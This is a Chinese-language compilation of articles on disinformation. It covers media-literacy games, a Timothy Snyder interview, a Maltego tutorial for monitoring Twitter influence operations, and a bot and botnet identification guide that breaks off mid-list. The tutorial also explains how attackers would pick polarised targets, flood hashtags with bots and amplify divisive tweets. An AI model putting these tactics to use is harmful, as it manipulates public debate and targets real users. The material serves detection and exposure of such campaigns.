5、"Interland: Reality River"

这款游戏是由谷歌开发的，用游戏的方法向孩子们传授 “数字公民的基本原则”。

游戏分为四个部分，涵盖了网络霸凌、网络安全、假新闻、过度分享四个问题。

其中，假新闻环节的任务设计是渡过一条由 “网络钓鱼者” 守护的河流。用户必须指出网络钓鱼的相关识别线索，成功后才可以跨越河流，并赢得最终的胜利。

6、"Factitious"

这款由美国大学开发的游戏在2018年首次亮相后，上线前三天就达到了浏览量大约160万的数字。

Factitious 的玩法是， 用户在阅读简短的新闻报道之后，需要做出自己的判断。如果他们认为报道是真实的，就向右滑动，如果认为它们是假的，则向左滑动。

数据显示，完成阅读15篇的人正确率在82%左右。

7、"Fact-Check It!"

在4月2日（国际事实核查日），IFCN发布了这款角色扮演游戏。

Fact-Check It 的游戏背景是一个虚拟的国家， 玩家的角色是该国新闻编辑室中的一员，需要验证25个不同的新闻相关项目并做出判断，每一个项目都会影响到选举当天编辑室发布的社论内容。

大多数虚假信息并不简单，尤其是那些旨在利用每个人的心理弱点操纵您的行为和选择的信息战工具，它们都是精心制作的，想要识别它们需要很强的专业能力。

这些游戏提供的学习环境基本都能应对常规的虚假信息，重在培养一种思考方式，让寻求真相成为习惯。希望它们能够对您有所帮助。〇

原文

在线宣传战的结果 - iYouPort

免费书和纪录片心理战和信息战

在互联网上让一个人变得愚蠢和不那么快乐比让他们变得更聪明要容易得多。在线宣传战的结果是什么？

「图」

「图」

在2016年大选之后，耶鲁历史学家蒂莫西·斯奈德（Timothy Snyder），一位专注于东欧极权主义政权研究的历史学家，写了一本名为“ 关于暴政：二十世纪的二十课 ”的书。Snyder 警告特朗普总统任期内可以带来什么，并建议如何抵制独裁者。

他的最新著作“不自由之路：俄罗斯，欧洲和美国 ”描述了美国和国外威权主义者如何利用反民主的方式进行宣传。

Steven Rosenfeld 和 Snyder 讨论了美国和欧洲的社会如何变得无能为力，当他们转向社交媒体和互联网时，他们很容易成为挑衅者的目标。

这个反乌托邦的土地空间正是今天的政治舞台。

Steven Rosenfeld (SR): 在你的书中，你谈到美国、欧洲和俄罗斯的政治如何在必然性政治和永恒政治的两极之间徘徊。在这两种情况下，公民的作用都在缩小。你现在看到的景观是什么？

Timothy Snyder (TS): 是的，所有这一切都是一个问题，在本书的最后，我称之为责任性政治。这就是所谓的公民身份或公民参与。所有这一切的基础是关注公民应该如何看待这个世界，以及我们认为我们应该做什么，以及我们认为我们应该负责什么; 不是一切，而是一些事。

人们曾经认为资本主义将创造民主，并没有任何替代方案，历史基本结束。不幸的是，在过去的25年里，我们很多人一直生活在这种精神

中，我们教育了整整一代人，这很可怕。

正如你所说，问题在于，如果你认为自己了解历史规则，如果你认为所有事情至少都是预先确定的，那么你就不必为所发生的事的任何特定部分承担责任。 更重要的是，你不必记住真实过去发生的事，因为那些替代品已经死了。你认为那些东西不可能回来。

SR：这就把我们置于“永恒的政治”中了。

TS：当必然性出现问题时会发生什么，人们会陷入我称之为永恒政治的事物中。我们说，必然性导致经济不平等，它确实如此；我们说人们不再关心自己所创造的未来。在美国的许多地方已经发生过；它自2008年以来一直在发生。这意味着人们已经容易受到另一个想法的影响，这个想法说，“好吧，所有好东西都是过去的，而事情不会再变好的原因是其他人，也就是移民、黑人、穆斯林、局外人。

这种思维方式完全消除了未来，只是让人们陷入了诸如“美国第一”或“让美国再次伟大”这样的观念中，你只是在一个周期中打转，然后你就会陷入每日新闻周期的鼓点，以及每日的宣传，这些宣传会提醒你，你应得的东西和其他人不值得的东西。

SR：这就把我们带到了现在。

TS：从广义上讲，我认为美国正在发生的事，而且不仅仅是美国发生的，是人们正在迅速从一件事转向另一件事; 期待未来会根据某些规则自动变得更好，无视正在原地打转的状况。无论是左翼还是右翼，都不希望政府做任何事，只是希望它能给人们每天注入正义的感觉，或者愤怒的感觉。

SR：是的，你所做的不仅仅是本书，但在你的大部分写作中，都是谈论我们之前是如何经历同样的状况。这并不是说历史完全重演，但有一些动态再现。我们现在正处于这个转折点。也许已经有一段时间了。你会怎么说呢？

TS：当然，历史并没有重复，但历史确实为你提供了一系列可能的东西。它让你有一种模式感，哪些事物往往会聚在一起、哪些东西不在一起的规律。它还为那些希望事物以某种方式进行的人提供了一个示例来源，我认为这是不可取的。

我认为我们已经到了转折点，我希望这些自动的进步观念不会再让人信服了。但我们中的许多人已经确信自己陷入了某种循环，并且没有

办法摆脱循环。这与过去有关。法西斯主义思想和其他极右思想正在复兴。不幸的是，在美国，白人霸权已经变得更加严峻。

但是，这个时代还有一些新的东西，即技术，互联网技术，各种心理技巧，说服人们除了离开沙发之外什么也做不了。

另一件新事物是缺乏最终目标。在20世纪，对于你可能会把国家带到哪里，或者你可能在哪里上课，都有很多的想法。那些已经不再存在了。现在发生的事更多的是试图通过任何可能会变得更好的观念来击败你，并让你走上一条不同的轨道，而不是认为其他事情对我们所有人来说都更好，我们只是习惯于想象每一天，每一分钟，每一秒，在另一边有人试图让事情变得更糟。

「图」

「图」

SR：这真的很有趣。我最近采访了竞选办公室的人。有一条新的宣传路线，就是 “我自己可能无法解决这个问题，但我们可以一起做，所以选举我，我们都会尽我们的一份力量。” 这在某种程度上具有吸引力，但它承认了螺旋式下降。我还与那些说 “我甚至不知道什么是真实的” 的出版商进行了交谈。他们查看提示并想知道谁首先获得了这些信息。两者都觉得没有坚实的基础。

TS：是的，但是有基础。在新书中，在“不道德之路”部分遵循的方法之一就是我对调查记者给予了极大的关注。我引用的是当时非常混乱的例子，并且仍然像乌克兰的 Maidan [抗议活动]，或者像俄罗斯入侵乌克兰那样令人困惑，这些事只是宣传普遍存在的东西，这些东西都是试验性的。我们现在一直处理的新形式网络战争中的不真实性。

事实证明，如果你只关注那些真正磨破皮鞋去找人们谈话的实际调查记者，你可以弄清楚究竟发生了什么。

调查记者只是所谓媒体频谱中的一小部分，只占据很小的百分比，但对于很多这类谜题一般的事件来说，已经足够了。那些揭露巴拿马文件的记者只是极少数，我们有数字，关于实际做这项工作的人的例子。

SR：正如你之前所说，在一个充斥着虚假消息的时代，真正的报道很重要。

TS：我们的深度调查越多，感觉就会越好。就我们自己的习惯而言，

我们会选择如何消费互联网。但是我在“不自由之路”中所指出的仅限于人类调查员，我会非常批判性地对待互联网。我认为互联网是一种主题而不是来源。

我试图找出互联网如何影响人们的模式。有些事我们可以做，比如挖掘信息线索，这是互联网最便利的地方。如果没有事实，我们就不会去任何地方。没有事实，我们就不能相互说话，更不用说开始解决问题了。

SR：我去过斯坦福大学的论坛，与谷歌，Facebook 和其他平台的顶尖人士一起。谷歌说，’你说的问题是信息太多、人们做出了太多决定？这不就是民主和独立思考的爆发吗？他们说他们正在提供新闻工具，因此他们的报告可以被视为“更具权威性”。 Facebook 也这样做。但这只是有助于他们的品牌，因为它提升了他们的内容。而与此同时，这些网站旨在为包括政治家在内的宣传者引发反应的方式并没有改变。人们比以往任何时候都更多地去社交媒体寻求新闻，这是冲动的。这几乎就像人类在思考之前想要做出反应一样。这就是曾经人类已经使用过的宣传模式。我说得对吗？

TS：我认为你完全正确地看到了这个问题。从根本上说，我们在互联网上看到的是它就像现实世界一样的空间。我们已经知道现实世界是一个数百万年的空间。我们一直在考虑如何将现实世界与民主、人民统治或法律相协调，这至少花了5000年的时间。也许我们在这方面做得更好一点，但总是很难。互联网幸存下来，因为互联网被视为“例外的地方”。这是一个神奇的地方，正常的规则不适用，你不需要纳税，一切皆有可能。

但这都是胡说八道。这只是另一个空间。就像我们不在互联网上时所居住的空间一样，它必须有一些规则。这些规则不仅仅是那些碰巧成为这些公司首席执行官的人的头脑。所有人都必须认真考虑这个问题，并考虑规则将会是什么，思考我们如何为这些规则做出贡献。其次，我同意你的心理学。出了问题的一个原因是我们没有击败机器人。而是机器人正在打败我们。

SR：这是一个关键点。

TS：机器人已经弄明白了。从剑桥分析公司到俄罗斯的干预措施，所有这些东西的运作方式，不是我们使用计算机来思考，而是计算机正在使用我们的神经系统来驱动我们。计算机正在绕着我们的额叶进行决策，然后是更简单的更多业务，比如我们感觉到的大脑部分，我们在哪里有冲动，在哪里决定谁是“我们”、谁是“他们”。这就是现在发

生的事，心理学和机器学习的结合。这就是推动我们前进的原因。

当硅谷的人们说："哦，我们只是给你更多的选择，"他们心里很明白这不是他们正在做的事。他们实际上在教我们如何不去选择……你选择的只是一种选择。你为此使用了一定的思想。这与"我喜欢这个"完全不是一回事。关于这一点必须有一个更人性化的对话。就我而言，我一直在努力与其中一些人合作。

「图」

「图」

SR：我问这个的原因是因为你对互联网在乌克兰、俄罗斯和2016年的竞选活动中如何推波助澜误导人们和推动虚假信息的分析非常详细。在许多方面，在政治中先出手攻击的人总能获得优势。我不确定技术部门是否真正了解他们所发布的内容。您看到了哪些更大的模式？

TS：我看到的模式之一是财富不平等与沟通之间的关系。你越是放弃财富不平等，就越难以沟通，因为拥有所有资金的人并没有与不这样做的人过着同样的生活。这实际上是硅谷和我们其他人沟通障碍的一个因素。普通人很难接触到他们，因为他们并没有像其他人一样过着同样的生活。他们可能有这样一种观念，即"每个人都可以按照他们自己的方式在经济上做到这一点"，但这不会发生。

我观察到的另一件事是，设备驱动的心理学并没有让我们开心，但心理学已经找到了让我们失望的方法; 在分析方面打击我们，但也在精神上打击我们，实际上是让我们感觉更糟。遗憾的是那些最容易部署的东西。在互联网上让一个人变得愚蠢而不那么快乐比让他们变得更聪明要容易得多。

互联网有很好的用途，如果人们非常明智地使用互联网，但就最简单的方式来说，打击他人比建立关系要容易得多。这是一件大事。

就机器学习而言，正如在 Twitter 上的内容[伪造的个人资料，机器人驱动的热点]中所看到的那样，我认为互联网越来越多地变成了人类占少数的领域，而且他们已经不堪重负。科幻小说中有一个古老的想法……计算机什么时候才能真正实现人工智能？测试是，"他们能说服我们他们是人类吗？"

实际发生的事并不是计算机与我们竞争谁更加人性化; 而是计算机已

经让我们人类变得不那么人性化了。这就是他们获胜的方式。他们把我们分成小块—被圈在你一个个隔离的气泡里，这样我们就不那么人性化了，更加部落化，更加愤怒，更加情绪化。这就是这场比赛实际上正在操作的方式。

有一些简单的事情要做，比如花更少的时间在互联网上，花更多的时间在现实世界中。我们可以用个人的力量摆脱它。但是，基本上它允许人们不会预料到令人讨厌的政治形式。正如 Facebook 在过去几年所做的那样，以及过去几年中其他巨头所做的事，只是拒绝或调转你的车轮，它们操纵你能看到的东西。这真的是非常有害的。

在任何人身上使用网络武器，都会能以我们喜欢的方式让对方变得愚蠢。

我们永远不会以这样的方式享有民主和法治，也不会拥有幸福的人群。当人们最终投票是因为他们受到错误信息的激励时，这意味着他们基本上不会高兴，因为，**A**）他们的投票不能带来富有成效的结果，因为他们投票是不真实的**; B**）然后他们必须拿出人类的理由来解释他们为什么做这件事，即使他们这样做的原因并不是人驱动的而是算法。他们必须用人类的逻辑自辩，以避免认知失调，这不会让任何人快乐。

现在，这种奇怪的不可思议的感觉部分是由于许多人利用他们的人类智慧来试图理解他们被操纵的事实。这是一种不健康的情绪气味，这是所有这一切的结果。

SR：你是否看到这种变化，或者你是否只看到少数人的小小的抵抗，就像20年前人们反抗电视机的洗脑那样。我看到在很多方面公民的角色正在萎缩，选民被压制，负面竞选的网络工具一直在继续。

TS：如您所知，您仍然可以在三维世界中开展有所作为的活动。正是因为互联网在许多方面都是黑暗的，这意味着做一些像游行这样的小事情会让我们感觉比其他情况下更好。可以与人类一起开展的活动。特别是当我与年轻人交谈时，我觉得我们必须解决的一件事就是我们在现实世界中与其他人交谈或参与其中的犹豫不决。这已成为了一种政治问题。我们认为一切都必须从网络开始。但事情也可以从现实世界开始。

有很多例子。我不认为这是不可逆转的。我认为网络事物必须被概念化，但除此之外，必须在三维世界中进行活动，在人类与其他人交谈的现实世界中。如果不这样我们就不能拥有公民身份。民主是公共

的。如果我们最终坐在地下室里，“喜欢”和不喜欢网上的东西，我们绝对不会有民主。

还有一件事，那就是年轻人是网络文化。我们可能处于世代变革的风口浪尖，有些人将所有这些奇迹视为理所当然，他们不再被震惊或被吸引，并且可能正在寻找新的东西。我希望的是，从未来一代开始依靠现实世界中活动的高贵，使事实变得性感，使现实世界成为人们再次感兴趣的有吸引力的反主流文化事物，令知识实现价值。〇 广告

原文

如何使用 Maltego 监测推特上的政府信息战 - iyouport

开源情报-每个人都可用的武器心理战和信息战让它民主-公民掌握真相的技巧和技术

【2020年7月3日存档】信息战和揭露抵制信息战，完全可以使用同一种工具

政府当局使用社交媒体进行跨国的大规模信息战已经频频被曝光，不论是操纵选举、洗脑受众、污染真相、还是人格暗杀。

☞推荐下面这些报告：

- 《看清信息战：2019全球有组织社交媒体操纵清单》
- 《当恶意者掌握技术：信息战的未来究竟有多可怕？》
- 《「可视化信息战」 第 1 部分：在线媒体上的政治宣传、压迫和攻击》
- 《「可视化信息战」 第2部分：社交媒体战场、逮捕和羁押》
- 《所有信息都是战略性的：信息地缘政治》
- 《信息战：揭露政府的宣传机器如何伪装成“独立媒体”和 NGO 以混淆视听》

挖掘和揭露信息战操纵是开源情报协助 *公民掌握真相计划* 的重点用例之一。即便您不是行动者，也可能会好奇这些政府秘密行动是如何操作的。通过本文您可以掌握了解真相的方法。

与任何一种最有效的攻击一样，一切都始于良好的侦察。

以下是 null-byte 介绍的方法《HOW TO Use Maltego to Monitor Twitter for Disinformation Campaigns》

在社交媒体上扫描全球对话与扫描网络并不相同，但是由于 Maltego 中设计的用于监视 Twitter 的功能，您可以使用一些与侦查网络相同的工具来可视化社交媒体对话。

虚假信息的信息战行动

「图」

在信息战运动中，虚假信息的扩散是一个典型。这些攻击利用 Twitter 和其他热门社交平台，通过散布旨在促进两极分化的虚假和误导性信息，试图加深目标社会的政治和意见分歧，以令其难以作出有效决策。

☞ 没错，信息战操作者并不需要强迫你相信什么，正如我们在去年底的访谈中所强调的，他们只需要分化你和你的队友，让社区甚至整个社会无法联合抵抗，他们就成功了。

于是他们会着手于社会讨论中所体现的两级分化 —— *同时*在两个极端上促进它们，也就是拉大分歧，令原本短暂的矛盾变成完全不可调和。

也就是说，即便一些信息战操纵者表现出与您一致的立场，也请小心他们的信息，他们会向非常极端的方向引导对话，同时用虚假信息污染您的认知。

☞为了了解和揭露信息战运动，您需要认真研究在线对话，观察攻击者如何精心制作能够发挥最大影响的信息。

抓取到敏感话题后，假冒的新闻就会被具有战略意义的僵尸程序主动地注入到公众讨论中，这些僵尸程序专门瞄准不擅长鉴定真伪的真实用户和社群。

通常，这些信息看起来非常像是有效的或已知的来源，或者至少是现有边缘组织的成员。事实上是伪造的。

☞活动家或其他政治参与用户对在线对话的认真研究是抵御这些操纵运动的重要组成部分。

- 方法参见我们的 列表3—“让它民主：公民掌握真相的技巧和技术”

多种策略为这些操纵的成功做出了贡献，例如 通过监视谁共享新闻报道、以及他们倾向于共享什么，将定制的虚假内容有针对性地分发给目标人。

扩大两极分化的讨论

「图」

社交媒体公司一直在开发使用机器学习来识别与正面或负面推文相关的模式，从而实现根据情感自动对推文和社交媒体消息进行分类的功能。

- 这里是一个简介《情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？》
- 这里是一个演示案例《对特朗普推文的情感分析: Python 》

☞通过使用情绪分析，攻击者可以通过触发一系列机器人程序转发并共享有关特定主题或人员的合法推文，从而扩大两极分化的讨论 —— 具体取决于目标人群所表述的是负面还是正面的内容。

如上所述，两个极端同时被拉扯。

- 不要错过《从信息验证到安全防御—日常必备的调查工具包》

这种攻击的优势在于，攻击者可以模拟反应式干扰器，在执行干扰操作之前会等待特定类型的通信发生。

在这种情况下，攻击者可以使用情绪分析来分类两极分化的推文，以扩大并通过淹没边缘观点迅速淹没讨论。这就有效阻止了公平和公开的辩论 —— 从而使攻击者可以通过真实用户编写的推文来抵制不同意见。

- 《讨论的终结》没有讨论就没有民主。人们都谴责社交媒体终结了讨论，虽然这不完全是人的问题，但归根结底，依旧是人的问题……

干扰战术

「图」

通常，用于阻塞其他通信的技术同样适用于阻塞社交媒体上的交互。特别是，本文即将探讨的：如何使用连续干扰、欺骗性干扰、和扫描干扰来 主导/操纵 在线对话。

连续干扰的目的是使目标通信过载、并产生大量的随机噪声，令目标

人/群体产生厌倦感，从而主动退出。这种手段不会尝试融入对话，而是致力于让它看起来更像垃圾信息那样。

☞机器人僵尸网络的大规模出没就是这个目的，它们使用完全无关的推文大批量淹没特定主题标签，从而削弱了讨论范围，令合法参与者无法找到有效推文。

欺骗性干扰旨在通过使干扰看起来像是谈话的一部分，来掩饰攻击本身。在这种攻击中，有针对性的主题标签上充斥着合法的推文，但这些推文专门用来散布令人困惑的误导性信息。

攻击者通过引入疑问使特定主题下的信息变得无用，任何使用井号标签进行交流或了解正在发生的事的人都将很快发现，自己已经被完全的虚假信息所掩盖。

通过更快地传播有关关键人员的虚假负面信息，也可以有针对性地使用此攻击 —— 进行人格暗杀行动。

使用 Maltego 实时监控信息战行动

「图」

☞正如本文简介中所声明的：信息战进攻和抵制/揭露信息战的防御，使用的是同样的工具。

要发动这些攻击中的任何一种，至关重要的是能够像在一个网络上运行 Nmap 一样 “扫描” 正在进行的 Twitter 对话。

如果不了解攻击面，就无法设计出可行的攻击计划。因此，挑战就变成了在**Twitter** 上映射非常有机的对话。

☞事实证明，Maltego 是做到这点的理想工具。将目标直接导入 Maltego 进行后续研究或定位的附加优势，使用 Maltego 追踪社交媒体的黑客可以找到与事件、主题或特定人有关的信息传播所涉及的所有关键标签和用户。

尽管大多数黑客认为 Maltego 对于查找静态信息（例如网络指纹）很有用，但有一些 Maltego 机器是专门设计用于在社交媒体上执行诸如跟踪用户和感兴趣主题的操作。

⚠ 政府当局的间谍使用这些策略来实时跟踪已知的活动家和反抗者的社交媒体帐户，从而使警方能够在没有逮捕证的情况下迅速掌握抗议

活动的最新情况。这就是社交媒体情报的致命性。

- 《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》

如上图 👆所示，社交媒体情报是开源情报的重头戏，它以其低技术性和广泛的工具利用，成为大多数初学者的入门课—— 这其中包括政府间谍。也就是说，政府间谍不需要投入太多的精力和资源，也可以掌握这种追踪侦查的方法。于是，你知道，它才是最危险的一种。

这就是为什么说对社交媒体的使用应该非常小心！

上图中的保护措施文章在这里：《社交媒体情报和反情报基本工具手册：自我人肉（2）》

攻击者也可以使用相同的策略来决定如何最有效地使用 Twitter 机器人大军来破坏半个世界之外的社会。

下面介绍一下它的使用 —— 再一次：揭露信息战也是同样的工具和方法。

第一步：登录到 Maltego

「图」

要安装 Maltego，您需要在计算机上安装 Java。具体方法参见：《社交工程工具用于开源情报调查：0基础初学者指南》。

Maltego 默认已经安装在 Kali Linux 中，因此，如果您正在运行 Kali，则只需从主菜单中选择它就可以开始使用。

如果您使用的是 macOS 或 Windows，那么可以从 Paterva 网站下载 Maltego 社区版。

在 Kali 中打开 Maltego 或将其安装在其他系统上后，您将需要在 Paterva 创建一个免费帐户才能使用社区版本。注册帐户，接收确认电子邮件，然后输入验证码以确认您的帐户，以便您可以登录。

完成此操作后，登录 Maltego 社区版，您就可以开始创建新图谱了。

第二步：开始监测对话

「图」

在本示例中，我们将搜索有关可能在虚假信息战中使用的敏感时事主题的对话。首先，将使用一台机器来监视 Twitter 某些关键字的活动。

☞ 这些关键字的选取应该很容易引起对一个敏感话题的激烈辩论。通过监测围绕这些问题进行的全球对话，您可以开始确定谁是主要参与者、以及讨论的形式。

首先，单击 Maltego 中的 “Machines” 选项卡，您将进入菜单，可以在其中选择 “运行机器” 图标。

在机器的菜单中，有三个相关的内容可供探索：在这里您将看到 “Twitter Digger X”、“Twitter Digger Y”、和 “Twitter Monitor”。

本案例将使用关键字来查找推文，因此应该选择 “Twitter Monitor”。这里的输入将是一个短语，希望对话能够围绕它进行。

重要的是，需要选择一些最有可能会引起争议的关键字/主题，因此，在本示例中，分别搜索了 “Papa John”、“Space Force”、和 “Collusion”。

第三步：查找关键参与者和趋势信息

「图」

一旦启动机器，就必须让信息填充图表。Maltego 可能需要花费几分钟运行新的迭代来获取更多数据，特别是如果您使用的是 Maltego 免费版本的话。

这会儿您在图表中看到的信息可能会让人不知所措，因此最好从图表左侧工具栏中的 “Layout” 部分中选择 “Set layout mode to Organic”。

同样，通过从 “视图” 选项卡中的 “管理视图” 选项中将视图设置为 “不同大小的圆点尺寸”，这样可以更直观地看清楚主要和相对次要的讨论；大圆点表示很多人都在谈论的事，这样您可以看到更清晰的关系。

它将自动提取更新，您可以在 “机器” 窗格的右上方看到计时器。随着信息填充到图表中，您可以通过使用 Ctrl-A 选择所有实体以开始对其进行组织。

在右下角的 “详细信息视图” 窗格中，您可以单击加号旁边的框以按类型组织实体。在这些分组中，您可以看到 Maltego 已将某些实体解析为经常被提及或讨论的人。

☞这将开始向您显示有关此主题的对话背后的人员。在这个案例中可以看到，运行几次后就会显示出在 “collusion 共谋” 对话中提到的关键人物。

还可以使用这种方法来标识正在共享的有关某个主题的链接。

☞在信息战操作中，可以搜索被共享的文章中最具倾向性的、和分歧最大的内容，并标记共享此类链接的用户 —— 他们会被作为攻击目标，因为他们相对偏激，于是更容易依照自身立场而共享虚假信息。

创建虚假的和煽动性的信息后，攻击者就可以将这些假消息定向传递给上述那些最有可能分享该假新闻的用户。

第四步：识别社交媒体干扰渠道

「图」

☞如果攻击者想要干扰某个话题的对话，那么这个 Maltego 机器会提供一个方便使用的 # 标签列表，这些标签用于围绕特定主题进行对话。

有了这些信息，一群机器人就可以在其中大规模地充斥噪音，从而使基本的常规对话变得不可能。

您应该能够自动查看发现的推文中的主题标签，但是如果您仅在图表中看到推文，则可以通过点击图表来选择全部，Ctrl-A，右键单击以显示转换菜单，然后在出现的搜索栏中输入“hashtag”。

这应该显示 “To Hash Tags” 转换，您可以点击该转换以从 tweet 中提取主题标签。

现在，您可以选择涉及的主题标签，在 “Detail View” 窗格中按它们与其他选项一起出现的次数对其进行排序。

☞ 在社交媒体干扰攻击中，超过一定知名度的任何标签都可以自动馈送到 Twitter 机器人以进行破坏，就像 “扫描干扰者” 那样，不断寻找目标。

第五步：通过情感分析扩大分歧意见

「图」

一旦获得关于某个主题的大量推文，就可以按照一些规则自动组织它们。

情绪分析是最有趣的方法之一，它使您可以将有关所监视主题的负面或正面推文区分开。有很多工具可用，但是 Maltego 允许黑客拥有相同的优势。

要按情感分析对发现的 tweet 进行排序，请使用 Ctrl-A 将其全部选中，然后右键单击以显示转换菜单。

键入“sentiment” 以显示 “To Sentiment [IBM Watson]” 转换。单击它以在所有发现的推文上运行它。

如果社区版中有很多推文，每个运行限制为50个实体，请在 “Detail View” 中一次获取50条推文，快速运行它们进行转换以快速压出所有数据。

☞输出将尝试根据推文背后的含义来组织推文，这是一项有用的工作。这确实有其局限性，因为反讽的内容仍然会严重欺骗该系统。

通过选择 “负面” 圆点，然后选择左上方的 “调查” 标签，可以查看所有负面推文。接下来，点击 “Add Parents” 以添加已排序为 “负面” 的所有推文。

您也可以对 “正面” 和 “中性” 进行相同的操作。

您可以使用这种方法对传入的 tweet 进行排序，并且在攻击中，一系列僵尸程序可以简单地通过放大对话中的任何一个极端，以压倒合法的论述。

⚠ 使用使流程自动化的工具，可以根据用户所表达的内容对合法推文进行排序，并使用操纵令对话双方的力量严重失衡 —— 这是信息战的典型策略，而且你看到，它已经变得更加容易和有效。

不能保证社交媒体的言论自由

「图」

由于承诺“实时快速”的信息访问能力，记者、活动家和其他报告关键信息或协调事件的人们都使用了 Twitter。这本身就已经使该平台成为了监视、干扰和禁止有价值在线对话的主要目标。

诸如国家支持的黑客之类的高级持续威胁将继续利用诸如 Twitter 之类的平台中的这些弱点，实现其在线操纵，以满足政治、宣传和审查的野心。

☞由于这些攻击源于传统的干扰，因此可以应用某些相同的防御措施。

首先您必须确定是否发生了干扰。

如果对话中突然充斥着来自几乎没有合法帖子的帐户发送的消息、或者出现似乎被劫持并且突然表现不正常的帐户，则表明该对话已自动成为目标。

防御和揭露的方法就是本文 —— 在 **Maltego** 中使用相同的策略，您可以探索重点话题，并确定它们是否受到影响或受阻的程度。〇

《HOW TO Use Maltego to Monitor Twitter for Disinformation Campaigns》

原文

如何分辨：机器人、僵尸网络和 trolls - iYouPort

心理战和信息战护盾（AS）行动技巧、战术和原理

准确分辨是解决问题的基础

「图」

「图」

在过去的几年中，“机器人”、“僵尸网络”和“trolls”等词，已经频频出现在有关社交网络及其对民主国家的影响的主流对话中。

在这里看到：

- 《巨魔崛起：政府资助的网络水军正遍布全球》
- 《诈：在线信息战操纵战略的多样化》
- 《如何发现社交媒体上的机器人账户？- 12种方法》
- 《如何挖掘机器人水军的幕后推手？》
- 《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》

但是，恶意的社交媒体帐户经常被贴错标签，导致有关它们的讨论重新从实质转移到定义。

本文将介绍的是 DFRLab 用于在线识别、公开和解释虚假信息的工作方法，准确的识别和定义它们是采取有效解决方案的第一步。

什么是 bot？

机器人是由算法（而不是真实的人）运行的自动社交媒体帐户。换句话说，机器人被设计为无需人工干预即可发布帖子。

关于识别，参见：《如何发现社交媒体上的机器人账户？- 12种方法》

如果某个帐户撰写了各个帖子，并且发表了评论、回复，或与其他用户的帖子进行了互动，则该帐户将无法归类为机器人。

机器人主要出现在 Twitter 和其他允许用户创建多个帐户的社交网络上。

有没有办法判断一个账户 *不是* 机器人？

检查帐户是否不是机器人的最简单方法是查看他们自己编写的推文：使用Twitter 搜索栏中的简单搜索功能；

From: handle

如果搜索返回的推文是真实的（即未从其他用户那里复制），则该帐户极不可能是机器人。

Trolls 和机器人之间有什么区别？

Trolls 是通过在在线社区或社交网络发布煽动性或不合主题的帖子而故意引发在线冲突或冒犯其他用户的家伙，它们的目的是激发分歧、撕裂对话。

它们的方法是激发他人的情绪反应并破坏讨论。

Trolls 与机器人不同，因为 trolls 是真实用户，而机器人是自动的。两种类型的帐户是互斥的。

但是，Trolling 作为一项活动并不仅仅局限于 trolls 。 DFRLab 已观察到 trolls 也使用机器人来放大其某些消息。

例如，早在2017年8月，在关于夏洛茨维尔抗议的文章之后，被机器人放大的 trolls 账户将 DFRLab 作为了目标。在这方面，机器人可以并且已经被用于 trolling 的目的。

「图」

「图」

机器人和trolls之间没有重叠

什么是僵尸网络？

僵尸网络是由同一个人或团体管理的机器人帐户组成的网络。

管理僵尸网络的人在部署之前需要原始的人工输入，被称为僵尸牧民。

⚠僵尸网络以网络形式协调运作，是因为它们旨在制造社交媒体参与度，从而使僵尸网络所部署的主题看起来比“实际”用户更加活跃。

在社交媒体平台上羊群效应是非常明显的 —— 参与会带来更多的参与，因此，成功的僵尸网络会将其部署的主题强行推到更多真实用户的面前。

僵尸网络做什么？

僵尸网络的目标是使主题标签、用户或关键字看起来很热门或流行 —— 事实上完全不是如此。⚠由于它们的存在，所谓的热门话题、热门标签，实际上都不一定可信。

真实的人类们特别喜欢追热点，其结果就是，被这些僵尸引领着，远离了原本最重要的东西 。

这些僵尸们的目标是操弄社交媒体算法来影响趋势部分，于是它们会使毫无戒心的用户接触到被僵尸们故意放大的对话。

僵尸网络很少针对人类用户，⚠如果他们这样做了，那么基本是在发送垃圾邮件、或对目标人或群体进行普遍的骚扰 —— *而不是* 积极尝试改变目标的意见或政治观点。

如何识别僵尸网络？

鉴于 Twitter 的机器人清除功能和增强的检测方法，僵尸牧民已经变得更加谨慎了，他们一直在努力使单个机器人更难以被发现。

识别单个僵尸程序的一种替代方法是分析大型僵尸网络的模式，以确认其单个帐户是机器人。

DFRLab 确定了六个可帮助识别僵尸网络的指标。如果您遇到怀疑是僵尸网络一部分的帐户网络，请注意以下几点。

⚠在分析僵尸网络时，重要的是要记住，没有任何一个单独的指标足以得出可疑帐户是僵尸网络的一部分的结论。至少三个僵尸网络指示

同时存在才能支持此类声明。

1、言语方式

通过算法运行的机器人被编程为使用相同的语言模式。

如果您遇到使用完全相同的语言模式的多个帐户，例如 使用标题作为推文的文本发布新闻文章，则这些帐户可能使用的是相同的算法运行。

在马来西亚大选前，DFRLab 发现了22,000个机器人，所有机器人都使用完全相同的语言模式。

其中每个机器人都使用两个针对反对派联盟的标签，并在13至16个真实用户之间进行标记，以促进他们参与对话。

「图」

「图」

在马来西亚大选之前，机器人帐户发布的推文的原始数据（来源：Sysomos）

2、相同的帖子

另一个僵尸网络指标是相同的发布内容。

由于大多数机器人都是非常简单的计算机程序，因此它们无法产生真实的内容。结果就是，大多数机器人会发布相同的帖子。

DFRLab 对一个推特活动的分析表明，该活动敦促取消在荷兰的一场伊斯兰憎恶卡通比赛，结果发现数十个帐户发布了相同的推文。

「图」

「图」

尽管这些账户都是新注册的，没有过往的帖子可参考以判断，但是它们的团体协作性的行为表明，它们很可能是同一僵尸网络的一部分。

3、处理模式

识别大型僵尸网络的另一种方法是查看可疑帐户的 handle 模式。机

器人创建者在命名其机器人时经常使用相同的 handle 模式。

例如，在2018年1月，DFRLab 遇到了一个可能的僵尸网络，其中每个僵尸程序的 handle 末尾都有一串八位数的数字。

「图」

「图」

存档：http://archive.is/MVVCU

另一个迹象是，系统生成的字母数字结合的ID。DFRLab 在马来西亚大选之前发现的一个僵尸网络中的所有机器人都使用15个字符的字母数字ID。

「图」

「图」

在马来西亚大选之前使用#SayNOtoPH和#KalahkanPakatan标签的 Twitter ID 的屏幕截图（来源：Sysomos）

4、创建日期和时间

属于同一僵尸网络的机器人倾向于呈现出相似的创建日期。

如果您一下子遇到在同一天内或同一周内创建的数十个帐户，则表明这些帐户可能是同一僵尸网络的一部分。

「图」

「图」

原始数据显示Twitter帐户的创建日期，这些帐户放大了普埃布拉州PRI政党候选人的信息（来源：Sysomos）

5、相同的 **Twitter** 活动

另一个僵尸网络的判断标准是相同的活动。

如果多个帐户在 Twitter 上执行完全相同的任务、或以完全相同的方式参与，则它们很可能是同一僵尸网络的一部分。

